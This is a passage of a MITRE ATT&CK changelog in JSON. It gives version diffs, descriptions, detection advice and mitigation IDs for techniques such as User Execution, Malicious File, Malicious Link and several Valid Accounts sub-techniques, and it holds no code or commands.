>ons will typically be observed as follow-on behavior from fo>ons will typically be observed as follow-on behavior from fo
>rms of [Phishing](https://attack.mitre.org/techniques/T1566)>rms of [Phishing](https://attack.mitre.org/techniques/T1566)
>.  While [User Execution](https://attack.mitre.org/technique>.  While [User Execution](https://attack.mitre.org/technique
>s/T1204) frequently occurs shortly after Initial Access it m>s/T1204) frequently occurs shortly after Initial Access it m
>ay occur at other phases of an intrusion, such as when an ad>ay occur at other phases of an intrusion, such as when an ad
>versary places a file in a shared directory or on a user's d>versary places a file in a shared directory or on a user's d
>esktop hoping that a user will click on it. This activity ma>esktop hoping that a user will click on it. This activity ma
>y also be seen shortly after [Internal Spearphishing](https:>y also be seen shortly after [Internal Spearphishing](https:
>//attack.mitre.org/techniques/T1534).  Adversaries may also >//attack.mitre.org/techniques/T1534).  Adversaries may also 
>deceive users into performing actions such as enabling [Remo>deceive users into performing actions such as:  * Enabling [
>te Access Software](https://attack.mitre.org/techniques/T121>Remote Access Software](https://attack.mitre.org/techniques/
>9), allowing direct control of the system to the adversary; >T1219), allowing direct control of the system to the adversa
>running malicious JavaScript in their browser, allowing adve>ry * Running malicious JavaScript in their browser, allowing
>rsaries to [Steal Web Session Cookie](https://attack.mitre.o> adversaries to [Steal Web Session Cookie](https://attack.mi
>rg/techniques/T1539)s; or downloading and executing malware >tre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)
>for [User Execution](https://attack.mitre.org/techniques/T12>(Citation: Krebs Discord Bookmarks 2023) * Downloading and e
>04).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Disco>xecuting malware for [User Execution](https://attack.mitre.o
>rd Bookmarks 2023)  For example, tech support scams can be f>rg/techniques/T1204) * Coerceing users to copy, paste, and e
>acilitated through [Phishing](https://attack.mitre.org/techn>xecute malicious code manually(Citation: Reliaquest-executio
>iques/T1566), vishing, or various forms of user interaction.>n)(Citation: proofpoint-selfpwn)  For example, tech support 
> Adversaries can use a combination of these methods, such as>scams can be facilitated through [Phishing](https://attack.m
> spoofing and promoting toll-free numbers or call centers th>itre.org/techniques/T1566), vishing, or various forms of use
>at are used to direct victims to malicious websites, to deli>r interaction. Adversaries can use a combination of these me
>ver and execute payloads containing malware or [Remote Acces>thods, such as spoofing and promoting toll-free numbers or c
>s Software](https://attack.mitre.org/techniques/T1219).(Cita>all centers that are used to direct victims to malicious web
>tion: Telephone Attack Delivery)>sites, to deliver and execute payloads containing malware or
 > [Remote Access Software](https://attack.mitre.org/technique
 >s/T1219).(Citation: Telephone Attack Delivery)
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0007: Image (Image Creation)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Start)", + "DS0032: Container (Container Creation)", + "DS0032: Container (Container Start)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:49:36.954000+00:00", + "modified": "2024-09-25 20:50:34.876000+00:00", + "name": "Malicious File", + "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204/002", + "external_id": "T1204.002" + }, + { + "source_name": "Password Protected Word Docs", + "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.", + "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "TruKno" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:50:34.876000+00:00\", \"old_value\": \"2023-04-21 12:22:19.740000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\\n\\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \\n\\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\", \"old_value\": \"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\\n\\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \\n\\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\\n+An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\\n \\n Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may rely upon a user opening a malicious file it1An adversary may rely upon a user opening a malicious file i
>n order to gain execution. Users may be subjected to social >n order to gain execution. Users may be subjected to social 
>engineering to get them to open a file that will lead to cod>engineering to get them to open a file that will lead to cod
>e execution. This user action will typically be observed as >e execution. This user action will typically be observed as 
>follow-on behavior from [Spearphishing Attachment](https://a>follow-on behavior from [Spearphishing Attachment](https://a
>ttack.mitre.org/techniques/T1566/001). Adversaries may use s>ttack.mitre.org/techniques/T1566/001). Adversaries may use s
>everal types of files that require a user to execute them, i>everal types of files that require a user to execute them, i
>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp
> .cpl.  Adversaries may employ various forms of [Masqueradin>l, and .reg.  Adversaries may employ various forms of [Masqu
>g](https://attack.mitre.org/techniques/T1036) and [Obfuscate>erading](https://attack.mitre.org/techniques/T1036) and [Obf
>d Files or Information](https://attack.mitre.org/techniques/>uscated Files or Information](https://attack.mitre.org/techn
>T1027) to increase the likelihood that a user will open and >iques/T1027) to increase the likelihood that a user will ope
>successfully execute a malicious file. These methods may inc>n and successfully execute a malicious file. These methods m
>lude using a familiar naming convention and/or password prot>ay include using a familiar naming convention and/or passwor
>ecting the file and supplying instructions to a user on how >d protecting the file and supplying instructions to a user o
>to open it.(Citation: Password Protected Word Docs)   While >n how to open it.(Citation: Password Protected Word Docs)   
>[Malicious File](https://attack.mitre.org/techniques/T1204/0>While [Malicious File](https://attack.mitre.org/techniques/T
>02) frequently occurs shortly after Initial Access it may oc>1204/002) frequently occurs shortly after Initial Access it 
>cur at other phases of an intrusion, such as when an adversa>may occur at other phases of an intrusion, such as when an a
>ry places a file in a shared directory or on a user's deskto>dversary places a file in a shared directory or on a user's 
>p hoping that a user will click on it. This activity may als>desktop hoping that a user will click on it. This activity m
>o be seen shortly after [Internal Spearphishing](https://att>ay also be seen shortly after [Internal Spearphishing](https
>ack.mitre.org/techniques/T1534).>://attack.mitre.org/techniques/T1534).
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:43:31.706000+00:00", + "modified": "2024-09-10 16:40:03.786000+00:00", + "name": "Malicious Link", + "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204/001", + "external_id": "T1204.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false, \"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-10 16:40:03.786000+00:00\", \"old_value\": \"2020-03-11 14:43:31.706000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:00.645000+00:00", + "modified": "2024-10-15 16:09:46.024000+00:00", + "name": "Valid Accounts", + "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078", + "external_id": "T1078" + }, + { + "source_name": "volexity_0day_sophos_FW", + "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", + "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/" + }, + { + "source_name": "CISA MFA PrintNightmare", + "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a" + }, + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee", + "Jon Sternstein, Stern Security", + "Yossi Weizman, Azure Defender Research Team", + "Netskope", + "Mark Wee", + "Praetorian", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "User Account: User Account Authentication", + "Logon Session: Logon Session Metadata" + ], + "x_mitre_defense_bypassed": [ + "Firewall", + "Anti-virus", + "Host Intrusion Prevention Systems", + "Network Intrusion Detection System", + "Application Control", + "System Access Controls" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_effective_permissions": [ + "User", + "Administrator" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:09:46.024000+00:00\", \"old_value\": \"2023-03-30 21:01:51.631000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.7\", \"old_value\": \"2.6\"}, \"root['x_mitre_contributors'][8]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\"}}", + "previous_version": "2.6", + "version_change": "2.6 \u2192 2.7", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1036: Account Use Policies" + ], + "new": [ + "M1032: Multi-factor Authentication" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:36:57.378000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Cloud Accounts", + "description": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078/004", + "external_id": "T1078.004" + }, + { + "source_name": "AWS Identity Federation", + "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.", + "url": "https://aws.amazon.com/identity/federation/" + }, + { + "source_name": "Google Federating GC", + "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.", + "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction" + }, + { + "source_name": "Microsoft Deploying AD Federation", + "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Logon Session: Logon Session Metadata", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-29 15:42:13.499000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.8\", \"old_value\": \"1.7\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][2]\": \"Office Suite\", \"root['x_mitre_platforms'][3]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.7", + "version_change": "1.7 \u2192 1.8", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:15:31.974000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Default Accounts", + "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078/001", + "external_id": "T1078.001" + }, + { + "source_name": "AWS Root User", + "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" + }, + { + "source_name": "Microsoft Local Accounts Feb 2019", + "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts" + }, + { + "source_name": "Metasploit SSH Module", + "description": "undefined. (n.d.). Retrieved April 12, 2019.", + "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh" + }, + { + "source_name": "Threat Matrix for Kubernetes", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "User Account: User Account Authentication" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-07 14:27:04.770000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Office Suite\", 